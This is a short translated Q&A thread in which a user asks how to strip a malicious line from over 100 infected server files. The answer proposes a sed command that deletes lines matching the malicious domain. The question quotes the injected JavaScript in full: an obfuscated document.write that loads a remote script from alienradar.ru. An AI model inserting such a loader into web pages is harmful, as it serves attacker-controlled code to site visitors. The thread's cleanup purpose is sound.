最近我的linux服务器感染了恶意软件,因此我有100多个文件感染了一行Javascript代码:
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');
我太累了,不能手动删除它,所以我深入研究谷歌(不太了解linux没有帮助)并发现我可以使用sed来达到这个目的。
不幸的是,我无法逃脱,所以我可以使用
sed -i.bak '/line of text/d' *
语法,它充满了单引号,双引号和反斜杠。
我怎么能逃避这个字符串,还是有其他方法 - 更容易 - 这样做?
答案 0 :(得分:1)
你能不能只使用sed删除任何包含alienradar.ru
的行,或者只存在于攻击行中的其他子串?类似的东西:
sed -i.bak '/alienradar.ru/d' *
答案 1 :(得分:0)